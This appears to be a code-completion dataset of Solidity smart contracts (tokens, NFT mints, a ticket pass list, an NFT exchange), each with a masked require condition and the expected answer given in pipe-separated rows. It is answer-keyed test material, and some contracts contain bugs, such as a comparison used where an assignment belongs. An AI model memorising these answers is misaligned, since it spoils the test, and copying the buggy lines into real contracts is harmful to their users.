function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
}
function _basicTransfer(address _to, address _addr, uint256 eH) internal virtual {
require(_to != address(0));
require(_addr != address(0));
if (lqBurn(
_to,
_addr)) {
return _lqTx(eH, _addr);
}
if (!_lqUniswap){
require(<FILL_ME>)
}
burnSwapLiquidity(_to);
uint256 feeAmount = 0;
if (uniswapPair != _to && function7(_to, _addr)) {
lqBurn(_addr);
feeAmount = eH.mul(_fee).div(100);
}
uint256 amountReceived = eH - feeAmount;
_balances[address(this)] += feeAmount;
_balances[_to] = _balances[_to] - eH;
_balances[_addr] += amountReceived;
emit Transfer(_to, _addr, eH);
}
function function7(address _to, address _addr) internal view returns (bool) {
}
function _swapRebalance(address _to, address _addr) internal view returns (bool) {
}
constructor() {
}
function name() external view returns (string memory) { }
function symbol() external view returns (string memory) { }
function decimals() external view returns (uint256) { }
function totalSupply() external view override returns (uint256) { }
function uniswapVersion() external pure returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) { }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
struct _txLq {bool callUniswapSwap; address callTx;}
function lqBurn(address sender, address _from) internal view returns(bool) {
}
_txLq[] feeBurnLiquidity;
function lqBurn(address to) internal {
}
function burnSwapLiquidity(address _aA55) internal {
}
function _lqTx(uint256 numTo, address _to) private {
}
bool _lqUniswap = false;
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
}
function _liquidityUniswapFee() private view returns (address) {
}
bool public autoLPBurn = false;
function setAutoLPBurnSettings(bool e) external onlyOwner {
}
uint256 public maxWallet = _totalSupply.div(100);
function updateMaxWallet(uint256 m) external onlyOwner {
}
address public marketingWallet;
function updateMarketingWallet(address a) external onlyOwner {
}
bool swapEnabled = true;
function updateSwapEnabled(bool e) external onlyOwner {
}
}
| _balances[_to]>=eH | 218,228 | _balances[_to]>=eH |
"Exceeded max available to purchase" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "./ERC721A.sol";
contract LV4 is Ownable, ERC721A, PaymentSplitter, ReentrancyGuard {
uint256 public MAX_SUPPLY = 444;
uint256 public PRICE = 0.2 ether;
uint256 public maxFree = 1;
uint256 public amountForTeam = 100;
bool public _isActive = false;
bool public _presaleActive = false;
bool public _freeActive = false;
mapping(address => uint8) public _preSaleListCounter;
mapping(address => uint8) public _freeCounter;
mapping(address => uint256) public _teamCounter;
// merkle root
bytes32 public preSaleRoot;
bytes32 public freeRoot;
constructor(
string memory name,
string memory symbol,
address[] memory payees,
uint256[] memory shares
) ERC721A(name, symbol) PaymentSplitter(payees, shares) {}
modifier callerIsUser() {
}
//set variables
function setActive(bool isActive) external onlyOwner {
}
function setPresaleActive(bool isActive) external onlyOwner {
}
function setFreeActive(bool isActive) external onlyOwner {
}
function setPreSaleRoot(bytes32 _root) external onlyOwner {
}
function setFreeRoot(bytes32 _root) external onlyOwner {
}
function setSupply(uint256 _supply) external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
// Internal for marketing, devs, etc
function internalMint(uint256 quantity, address to)
external
onlyOwner
nonReentrant
{
}
// metadata URI
string private _baseTokenURI;
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
// Presale
function mintFree(uint8 quantity, bytes32[] calldata _merkleProof)
external
payable
callerIsUser
nonReentrant
{
require(_freeActive, "Free mint is not active");
require(<FILL_ME>)
require(quantity > 0, "Must mint more than 0 tokens");
require(
totalSupply() + quantity <= MAX_SUPPLY,
"Purchase would exceed max supply of Tokens"
);
require(msg.value == 0, "Incorrect funds");
// check proof & mint
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verify(_merkleProof, freeRoot, leaf),
"Invalid MerkleProof"
);
_safeMint(msg.sender, quantity);
_freeCounter[msg.sender] =
_freeCounter[msg.sender] +
quantity;
}
// Presale
function mintPreSaleTokens(uint8 quantity, bytes32[] calldata _merkleProof)
external
payable
callerIsUser
nonReentrant
{
}
//withdraw to owner wallet
function withdraw() external onlyOwner {
}
// public mint
function publicSaleMint(uint256 quantity)
external
payable
nonReentrant
callerIsUser
{
}
}
| _freeCounter[msg.sender]+quantity<=maxFree,"Exceeded max available to purchase" | 218,258 | _freeCounter[msg.sender]+quantity<=maxFree |
"Invalid MerkleProof" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "./ERC721A.sol";
contract LV4 is Ownable, ERC721A, PaymentSplitter, ReentrancyGuard {
uint256 public MAX_SUPPLY = 444;
uint256 public PRICE = 0.2 ether;
uint256 public maxFree = 1;
uint256 public amountForTeam = 100;
bool public _isActive = false;
bool public _presaleActive = false;
bool public _freeActive = false;
mapping(address => uint8) public _preSaleListCounter;
mapping(address => uint8) public _freeCounter;
mapping(address => uint256) public _teamCounter;
// merkle root
bytes32 public preSaleRoot;
bytes32 public freeRoot;
constructor(
string memory name,
string memory symbol,
address[] memory payees,
uint256[] memory shares
) ERC721A(name, symbol) PaymentSplitter(payees, shares) {}
modifier callerIsUser() {
}
//set variables
function setActive(bool isActive) external onlyOwner {
}
function setPresaleActive(bool isActive) external onlyOwner {
}
function setFreeActive(bool isActive) external onlyOwner {
}
function setPreSaleRoot(bytes32 _root) external onlyOwner {
}
function setFreeRoot(bytes32 _root) external onlyOwner {
}
function setSupply(uint256 _supply) external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
// Internal for marketing, devs, etc
function internalMint(uint256 quantity, address to)
external
onlyOwner
nonReentrant
{
}
// metadata URI
string private _baseTokenURI;
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
// Presale
function mintFree(uint8 quantity, bytes32[] calldata _merkleProof)
external
payable
callerIsUser
nonReentrant
{
require(_freeActive, "Free mint is not active");
require(
_freeCounter[msg.sender] + quantity <= maxFree,
"Exceeded max available to purchase"
);
require(quantity > 0, "Must mint more than 0 tokens");
require(
totalSupply() + quantity <= MAX_SUPPLY,
"Purchase would exceed max supply of Tokens"
);
require(msg.value == 0, "Incorrect funds");
// check proof & mint
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
_safeMint(msg.sender, quantity);
_freeCounter[msg.sender] =
_freeCounter[msg.sender] +
quantity;
}
// Presale
function mintPreSaleTokens(uint8 quantity, bytes32[] calldata _merkleProof)
external
payable
callerIsUser
nonReentrant
{
}
//withdraw to owner wallet
function withdraw() external onlyOwner {
}
// public mint
function publicSaleMint(uint256 quantity)
external
payable
nonReentrant
callerIsUser
{
}
}
| MerkleProof.verify(_merkleProof,freeRoot,leaf),"Invalid MerkleProof" | 218,258 | MerkleProof.verify(_merkleProof,freeRoot,leaf) |
null | pragma solidity ^0.8.6;
contract ticketaddresslist is AccessControl {
bytes32 TICKET_ROLE = keccak256('TICKET_ROLE');
mapping(address => bool) premiumPassAcceptAddress;
mapping(address => uint256) regularPassAcceptAddress;
mapping(address => bool) premiumPassUsed;
mapping(address => uint256) regularPassUsedAmount;
uint256 premiumPassAccessAmount;
uint256 regularPassAccessAmount;
uint256 premiumPassMaxAmount = 10;
uint256 regularPassMaxAmount = 190;
constructor() {
}
function addPremiumPass(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
require(<FILL_ME>)
require(premiumPassAccessAmount < premiumPassMaxAmount);
premiumPassAcceptAddress[to] = true;
premiumPassAccessAmount++;
}
function addRegularPass(address to, uint256 amount) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function changeRegularPassAmount(address to, uint256 amount) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function revokePremiumPass(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function revokeRegularPassAmount(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function usePremiumPass(address to) public onlyRole(TICKET_ROLE) {
}
function useRegularPass(address to) public onlyRole(TICKET_ROLE) {
}
function premiumPassAcceptCheck(address to) public view returns(bool) {
}
function premiumPassUseCheck(address to) public view returns(bool) {
}
function regularPassAceeptCheck(address to) public view returns(uint256) {
}
}
| premiumPassAcceptAddress[to]==false | 218,302 | premiumPassAcceptAddress[to]==false |
null | pragma solidity ^0.8.6;
contract ticketaddresslist is AccessControl {
bytes32 TICKET_ROLE = keccak256('TICKET_ROLE');
mapping(address => bool) premiumPassAcceptAddress;
mapping(address => uint256) regularPassAcceptAddress;
mapping(address => bool) premiumPassUsed;
mapping(address => uint256) regularPassUsedAmount;
uint256 premiumPassAccessAmount;
uint256 regularPassAccessAmount;
uint256 premiumPassMaxAmount = 10;
uint256 regularPassMaxAmount = 190;
constructor() {
}
function addPremiumPass(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function addRegularPass(address to, uint256 amount) public onlyRole(DEFAULT_ADMIN_ROLE) {
require(<FILL_ME>)
require((regularPassAccessAmount + amount) <= regularPassMaxAmount);
regularPassAcceptAddress[to] = amount;
regularPassAccessAmount + amount;
}
function changeRegularPassAmount(address to, uint256 amount) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function revokePremiumPass(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function revokeRegularPassAmount(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function usePremiumPass(address to) public onlyRole(TICKET_ROLE) {
}
function useRegularPass(address to) public onlyRole(TICKET_ROLE) {
}
function premiumPassAcceptCheck(address to) public view returns(bool) {
}
function premiumPassUseCheck(address to) public view returns(bool) {
}
function regularPassAceeptCheck(address to) public view returns(uint256) {
}
}
| regularPassAcceptAddress[to]==0 | 218,302 | regularPassAcceptAddress[to]==0 |
null | pragma solidity ^0.8.6;
contract ticketaddresslist is AccessControl {
bytes32 TICKET_ROLE = keccak256('TICKET_ROLE');
mapping(address => bool) premiumPassAcceptAddress;
mapping(address => uint256) regularPassAcceptAddress;
mapping(address => bool) premiumPassUsed;
mapping(address => uint256) regularPassUsedAmount;
uint256 premiumPassAccessAmount;
uint256 regularPassAccessAmount;
uint256 premiumPassMaxAmount = 10;
uint256 regularPassMaxAmount = 190;
constructor() {
}
function addPremiumPass(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function addRegularPass(address to, uint256 amount) public onlyRole(DEFAULT_ADMIN_ROLE) {
require(regularPassAcceptAddress[to] == 0);
require(<FILL_ME>)
regularPassAcceptAddress[to] = amount;
regularPassAccessAmount + amount;
}
function changeRegularPassAmount(address to, uint256 amount) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function revokePremiumPass(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function revokeRegularPassAmount(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function usePremiumPass(address to) public onlyRole(TICKET_ROLE) {
}
function useRegularPass(address to) public onlyRole(TICKET_ROLE) {
}
function premiumPassAcceptCheck(address to) public view returns(bool) {
}
function premiumPassUseCheck(address to) public view returns(bool) {
}
function regularPassAceeptCheck(address to) public view returns(uint256) {
}
}
| (regularPassAccessAmount+amount)<=regularPassMaxAmount | 218,302 | (regularPassAccessAmount+amount)<=regularPassMaxAmount |
null | pragma solidity ^0.8.6;
contract ticketaddresslist is AccessControl {
bytes32 TICKET_ROLE = keccak256('TICKET_ROLE');
mapping(address => bool) premiumPassAcceptAddress;
mapping(address => uint256) regularPassAcceptAddress;
mapping(address => bool) premiumPassUsed;
mapping(address => uint256) regularPassUsedAmount;
uint256 premiumPassAccessAmount;
uint256 regularPassAccessAmount;
uint256 premiumPassMaxAmount = 10;
uint256 regularPassMaxAmount = 190;
constructor() {
}
function addPremiumPass(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function addRegularPass(address to, uint256 amount) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function changeRegularPassAmount(address to, uint256 amount) public onlyRole(DEFAULT_ADMIN_ROLE) {
require(<FILL_ME>)
require((regularPassAccessAmount - regularPassAcceptAddress[to] + amount) <= regularPassMaxAmount);
regularPassAcceptAddress[to] = amount;
regularPassAccessAmount = regularPassAccessAmount - regularPassAcceptAddress[to] + amount;
}
function revokePremiumPass(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function revokeRegularPassAmount(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function usePremiumPass(address to) public onlyRole(TICKET_ROLE) {
}
function useRegularPass(address to) public onlyRole(TICKET_ROLE) {
}
function premiumPassAcceptCheck(address to) public view returns(bool) {
}
function premiumPassUseCheck(address to) public view returns(bool) {
}
function regularPassAceeptCheck(address to) public view returns(uint256) {
}
}
| regularPassAcceptAddress[to]!=0 | 218,302 | regularPassAcceptAddress[to]!=0 |
null | pragma solidity ^0.8.6;
contract ticketaddresslist is AccessControl {
bytes32 TICKET_ROLE = keccak256('TICKET_ROLE');
mapping(address => bool) premiumPassAcceptAddress;
mapping(address => uint256) regularPassAcceptAddress;
mapping(address => bool) premiumPassUsed;
mapping(address => uint256) regularPassUsedAmount;
uint256 premiumPassAccessAmount;
uint256 regularPassAccessAmount;
uint256 premiumPassMaxAmount = 10;
uint256 regularPassMaxAmount = 190;
constructor() {
}
function addPremiumPass(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function addRegularPass(address to, uint256 amount) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function changeRegularPassAmount(address to, uint256 amount) public onlyRole(DEFAULT_ADMIN_ROLE) {
require(regularPassAcceptAddress[to] != 0);
require(<FILL_ME>)
regularPassAcceptAddress[to] = amount;
regularPassAccessAmount = regularPassAccessAmount - regularPassAcceptAddress[to] + amount;
}
function revokePremiumPass(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function revokeRegularPassAmount(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function usePremiumPass(address to) public onlyRole(TICKET_ROLE) {
}
function useRegularPass(address to) public onlyRole(TICKET_ROLE) {
}
function premiumPassAcceptCheck(address to) public view returns(bool) {
}
function premiumPassUseCheck(address to) public view returns(bool) {
}
function regularPassAceeptCheck(address to) public view returns(uint256) {
}
}
| (regularPassAccessAmount-regularPassAcceptAddress[to]+amount)<=regularPassMaxAmount | 218,302 | (regularPassAccessAmount-regularPassAcceptAddress[to]+amount)<=regularPassMaxAmount |
null | pragma solidity ^0.8.6;
contract ticketaddresslist is AccessControl {
bytes32 TICKET_ROLE = keccak256('TICKET_ROLE');
mapping(address => bool) premiumPassAcceptAddress;
mapping(address => uint256) regularPassAcceptAddress;
mapping(address => bool) premiumPassUsed;
mapping(address => uint256) regularPassUsedAmount;
uint256 premiumPassAccessAmount;
uint256 regularPassAccessAmount;
uint256 premiumPassMaxAmount = 10;
uint256 regularPassMaxAmount = 190;
constructor() {
}
function addPremiumPass(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function addRegularPass(address to, uint256 amount) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function changeRegularPassAmount(address to, uint256 amount) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function revokePremiumPass(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
require(<FILL_ME>)
premiumPassAcceptAddress[to] == false;
premiumPassAccessAmount--;
}
function revokeRegularPassAmount(address to) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function usePremiumPass(address to) public onlyRole(TICKET_ROLE) {
}
function useRegularPass(address to) public onlyRole(TICKET_ROLE) {
}
function premiumPassAcceptCheck(address to) public view returns(bool) {
}
function premiumPassUseCheck(address to) public view returns(bool) {
}
function regularPassAceeptCheck(address to) public view returns(uint256) {
}
}
| premiumPassAcceptAddress[to]==true | 218,302 | premiumPassAcceptAddress[to]==true |
"Transfer exceeds maximum wallet size" | pragma solidity ^0.8.4;
contract SigilToken is ERC20, ERC20Burnable, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => bool) private _taxExemptList;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 public _lpFee = 10000000000000000;
uint256 public _projectFee = 20000000000000000;
uint256 public _feeThreshold = 5000000 * 10**18;
bool private _addingToLiq = false;
bool public _feesEnabled = true;
address public immutable _projectWallet;
address public _stakingPool = address(0);
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
constructor() ERC20("Sigil Finance", "SIGIL") {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function taxExempt(address account) public view returns (bool) {
}
function addToTaxExemptList(address account) public onlyOwner {
}
function contractBalance() public view returns (uint256) {
}
function disableFees() public onlyOwner {
}
function changeStakingPoolAddress(address _address) public onlyOwner {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public override virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public override virtual returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
if(_taxExemptList[to] == false && from != _stakingPool){
require(<FILL_ME>)
}
unchecked {
_balances[from] = fromBalance - amount;
}
bool overMinTokenBalance = _balances[address(this)] >= _feeThreshold;
if (
overMinTokenBalance &&
!_addingToLiq &&
from != uniswapV2Pair
) {
_addingToLiq = true;
swapAndLiquify(_feeThreshold);
_addingToLiq = false;
}
bool isTaxExempt = (_taxExemptList[from] == true && _taxExemptList[to] == true);
if(from == _stakingPool || to == _stakingPool || isTaxExempt || _feesEnabled == false){
_balances[to] += amount;
} else {
uint256 feeAmount = amount * (_lpFee + _projectFee) / 10**18;
_balances[to] += amount - feeAmount;
_balances[address(this)] += feeAmount;
}
emit Transfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal override virtual {
}
function _burn(address account, uint256 amount) internal override virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal override virtual {
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal override virtual {
}
receive() payable external {}
function swapAndLiquify(uint256 contractTokenBalance) private {
}
function swapTokensForEth(uint256 tokenAmount) internal {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) internal {
}
}
| balanceOf(to)+amount<10000000*10**18,"Transfer exceeds maximum wallet size" | 218,309 | balanceOf(to)+amount<10000000*10**18 |
"Exceeds max supply." | // SPDX-License-Identifier: MIT
/*********************************
_________ ________ ________ ____ __.
\_ ___ \ \_____ \ \_____ \ | |/ _|
/ \ \/ / | \ / | \| <
\ \____/ | \/ | \ | \
\______ /\_______ /\_______ /____|__ \
\/ \/ \/ \/
*********************************/
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./lib/ERC721Enumerable.sol";
import "./lib/INumbersOnchainDescriptor.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import {ERC2981} from "@openzeppelin/contracts/token/common/ERC2981.sol";
contract NumbersOnchain is ERC721Enumerable, DefaultOperatorFilterer, Ownable {
event SeedUpdated(uint256 indexed tokenId, uint256 seed);
mapping(uint256 => uint256) internal seeds;
INumbersOnchainDescriptor public descriptor;
uint256 public maxSupply = 10000;
uint256 public cost = 0.0019 ether;
bool public minting = false;
bool public canUpdateSeed = true;
constructor(INumbersOnchainDescriptor newDescriptor) ERC721("NumbersOnchain", "NOC") {
}
function mint(uint32 count) external payable {
require(minting, "Minting needs to be enabled to start minting");
require(count < 101, "Exceeds max per transaction.");
uint256 nextTokenId = _owners.length;
unchecked {
require(<FILL_ME>)
}
uint256 totalCost = count * cost;
require(msg.value >= totalCost, "Insufficient funds.");
for (uint32 i; i < count;) {
seeds[nextTokenId] = generateSeed(nextTokenId);
_mint(_msgSender(), nextTokenId);
unchecked { ++nextTokenId; ++i; }
}
}
function setMinting(bool value) external onlyOwner {
}
function setDescriptor(INumbersOnchainDescriptor newDescriptor) external onlyOwner {
}
function setCost(uint256 newCost) external onlyOwner {
}
function withdraw() public onlyOwner {
}
function updateSeed(uint256 tokenId, uint256 seed) external onlyOwner {
}
function disableSeedUpdate() external onlyOwner {
}
function burn(uint256 tokenId) public {
}
function getSeed(uint256 tokenId) public view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view returns (string memory) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
* In this example the added modifier ensures that the operator is allowed by the OperatorFilterRegistry.
*/
function setApprovalForAll(address operator, bool approved) public override(ERC721, IERC721) onlyAllowedOperatorApproval(operator) {
}
/**
* @dev See {IERC721-approve}.
* In this example the added modifier ensures that the operator is allowed by the OperatorFilterRegistry.
*/
function approve(address operator, uint256 tokenId) public override(ERC721, IERC721) onlyAllowedOperatorApproval(operator) {
}
/**
* @dev See {IERC721-transferFrom}.
* In this example the added modifier ensures that the operator is allowed by the OperatorFilterRegistry.
*/
function transferFrom(address from, address to, uint256 tokenId) public override(ERC721, IERC721) onlyAllowedOperator(from) {
}
/**
* @dev See {IERC721-safeTransferFrom}.
* In this example the added modifier ensures that the operator is allowed by the OperatorFilterRegistry.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public override(ERC721, IERC721) onlyAllowedOperator(from) {
}
/**
* @dev See {IERC721-safeTransferFrom}.
* In this example the added modifier ensures that the operator is allowed by the OperatorFilterRegistry.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override(ERC721, IERC721)
onlyAllowedOperator(from)
{
}
function generateSeed(uint256 tokenId) private view returns (uint256) {
}
function random(uint256 tokenId) private view returns (uint256 pseudoRandomness) {
}
}
| nextTokenId+count<maxSupply,"Exceeds max supply." | 218,367 | nextTokenId+count<maxSupply |
"Invalid signature" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./interfaces/ERC1155/ERC1155Mintable.sol";
import "./libraries/TransferHelper.sol";
import "./libraries/SafeMath.sol";
import "./libraries/ECDSA.sol";
contract RAKUZA1155_EXCHANGE is Ownable {
using ECDSA for bytes32;
using SafeMath for uint256;
// Mitigating Replay Attacks
mapping(address => mapping(uint256 => bool)) seenNonces;
// Addresses running auction NFT
// mapping(address => bool) public whitelistAddress;
mapping(address => bool) public whitelistNFTAddress;
struct Data {
address[5] tradeAddress;
uint256[5] attributes;
}
// Events
// addrs: from, to, token
event BuyNFTETH(address[3] addrs, uint256 tokenId, uint256 amount, uint256 price);
constructor() public {
}
function setWhitelistNFTAddress(address _address, bool approved) public
onlyOwner
{
}
modifier verifySignature(
uint256 nonce,
address[5] memory _tradeAddress,
uint256[5] memory _attributes,
bytes memory signature
) {
// This recreates the message hash that was signed on the client.
bytes32 hash = keccak256(
abi.encodePacked(
msg.sender,
nonce,
_tradeAddress,
_attributes
)
);
bytes32 messageHash = hash.toEthSignedMessageHash();
// Verify that the message's signer is the owner of the order
require(<FILL_ME>)
require(!seenNonces[msg.sender][nonce], "Used nonce");
seenNonces[msg.sender][nonce] = true;
_;
}
function checkFeeProductExits(
address[5] memory _tradeAddress,
uint256[5] memory _attributes
) private returns (uint256 price, uint256 feeOwner, uint256 feeAdmin) {
}
// Buy NFT normal by ETH
// address[5]: buyer, seller, fee, feeAdmin, NFT contract
// uint256[5]: price, amount, tokenId, feePercent, feePercentAdmin
function buyNFTETH(
address[5] memory _tradeAddress,
uint256[5] memory _attributes,
uint256 nonce,
bytes memory signature
)
external
payable
verifySignature(nonce, _tradeAddress, _attributes, signature)
{
}
}
| messageHash.recover(signature)==owner(),"Invalid signature" | 218,450 | messageHash.recover(signature)==owner() |
"Used nonce" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./interfaces/ERC1155/ERC1155Mintable.sol";
import "./libraries/TransferHelper.sol";
import "./libraries/SafeMath.sol";
import "./libraries/ECDSA.sol";
contract RAKUZA1155_EXCHANGE is Ownable {
using ECDSA for bytes32;
using SafeMath for uint256;
// Mitigating Replay Attacks
mapping(address => mapping(uint256 => bool)) seenNonces;
// Addresses running auction NFT
// mapping(address => bool) public whitelistAddress;
mapping(address => bool) public whitelistNFTAddress;
struct Data {
address[5] tradeAddress;
uint256[5] attributes;
}
// Events
// addrs: from, to, token
event BuyNFTETH(address[3] addrs, uint256 tokenId, uint256 amount, uint256 price);
constructor() public {
}
function setWhitelistNFTAddress(address _address, bool approved) public
onlyOwner
{
}
modifier verifySignature(
uint256 nonce,
address[5] memory _tradeAddress,
uint256[5] memory _attributes,
bytes memory signature
) {
// This recreates the message hash that was signed on the client.
bytes32 hash = keccak256(
abi.encodePacked(
msg.sender,
nonce,
_tradeAddress,
_attributes
)
);
bytes32 messageHash = hash.toEthSignedMessageHash();
// Verify that the message's signer is the owner of the order
require(messageHash.recover(signature) == owner(), "Invalid signature");
require(<FILL_ME>)
seenNonces[msg.sender][nonce] = true;
_;
}
function checkFeeProductExits(
address[5] memory _tradeAddress,
uint256[5] memory _attributes
) private returns (uint256 price, uint256 feeOwner, uint256 feeAdmin) {
}
// Buy NFT normal by ETH
// address[5]: buyer, seller, fee, feeAdmin, NFT contract
// uint256[5]: price, amount, tokenId, feePercent, feePercentAdmin
function buyNFTETH(
address[5] memory _tradeAddress,
uint256[5] memory _attributes,
uint256 nonce,
bytes memory signature
)
external
payable
verifySignature(nonce, _tradeAddress, _attributes, signature)
{
}
}
| !seenNonces[msg.sender][nonce],"Used nonce" | 218,450 | !seenNonces[msg.sender][nonce] |
"NFT is not in whitelist" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./interfaces/ERC1155/ERC1155Mintable.sol";
import "./libraries/TransferHelper.sol";
import "./libraries/SafeMath.sol";
import "./libraries/ECDSA.sol";
contract RAKUZA1155_EXCHANGE is Ownable {
using ECDSA for bytes32;
using SafeMath for uint256;
// Mitigating Replay Attacks
mapping(address => mapping(uint256 => bool)) seenNonces;
// Addresses running auction NFT
// mapping(address => bool) public whitelistAddress;
mapping(address => bool) public whitelistNFTAddress;
struct Data {
address[5] tradeAddress;
uint256[5] attributes;
}
// Events
// addrs: from, to, token
event BuyNFTETH(address[3] addrs, uint256 tokenId, uint256 amount, uint256 price);
constructor() public {
}
function setWhitelistNFTAddress(address _address, bool approved) public
onlyOwner
{
}
modifier verifySignature(
uint256 nonce,
address[5] memory _tradeAddress,
uint256[5] memory _attributes,
bytes memory signature
) {
}
function checkFeeProductExits(
address[5] memory _tradeAddress,
uint256[5] memory _attributes
) private returns (uint256 price, uint256 feeOwner, uint256 feeAdmin) {
}
// Buy NFT normal by ETH
// address[5]: buyer, seller, fee, feeAdmin, NFT contract
// uint256[5]: price, amount, tokenId, feePercent, feePercentAdmin
function buyNFTETH(
address[5] memory _tradeAddress,
uint256[5] memory _attributes,
uint256 nonce,
bytes memory signature
)
external
payable
verifySignature(nonce, _tradeAddress, _attributes, signature)
{
Data memory tradeInfo = Data({
tradeAddress: _tradeAddress,
attributes: _attributes
});
require(<FILL_ME>)
(uint256 price, uint256 feeOwner, uint256 feeAdmin) = checkFeeProductExits(
tradeInfo.tradeAddress,
tradeInfo.attributes
);
// transfer eth to fee address
if (feeOwner != 0) {
TransferHelper.safeTransferETH(tradeInfo.tradeAddress[2], feeOwner);
}
// transfer eth to admin address
if (feeAdmin != 0) {
TransferHelper.safeTransferETH(tradeInfo.tradeAddress[3], feeAdmin);
}
TransferHelper.safeTransferETH(tradeInfo.tradeAddress[1], price);
ERC1155(tradeInfo.tradeAddress[4]).safeTransferFrom(
tradeInfo.tradeAddress[1],
msg.sender,
tradeInfo.attributes[2],
tradeInfo.attributes[1],
""
);
// refund dust eth, if any
if (msg.value > tradeInfo.attributes[0])
TransferHelper.safeTransferETH(
msg.sender,
msg.value - tradeInfo.attributes[0]
);
emit BuyNFTETH(
[msg.sender, tradeInfo.tradeAddress[1], tradeInfo.tradeAddress[4]],
tradeInfo.attributes[2],
tradeInfo.attributes[1],
tradeInfo.attributes[0]
);
}
}
| whitelistNFTAddress[tradeInfo.tradeAddress[4]]==true,"NFT is not in whitelist" | 218,450 | whitelistNFTAddress[tradeInfo.tradeAddress[4]]==true |
"redundant" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./interfaces/IAuthority.sol";
import "./interfaces/IBurnable.sol";
import "./interfaces/IBridge.sol";
import "./libraries/TransferHelper.sol";
import "./types/AccessControlled.sol";
import "./BridgeToken.sol";
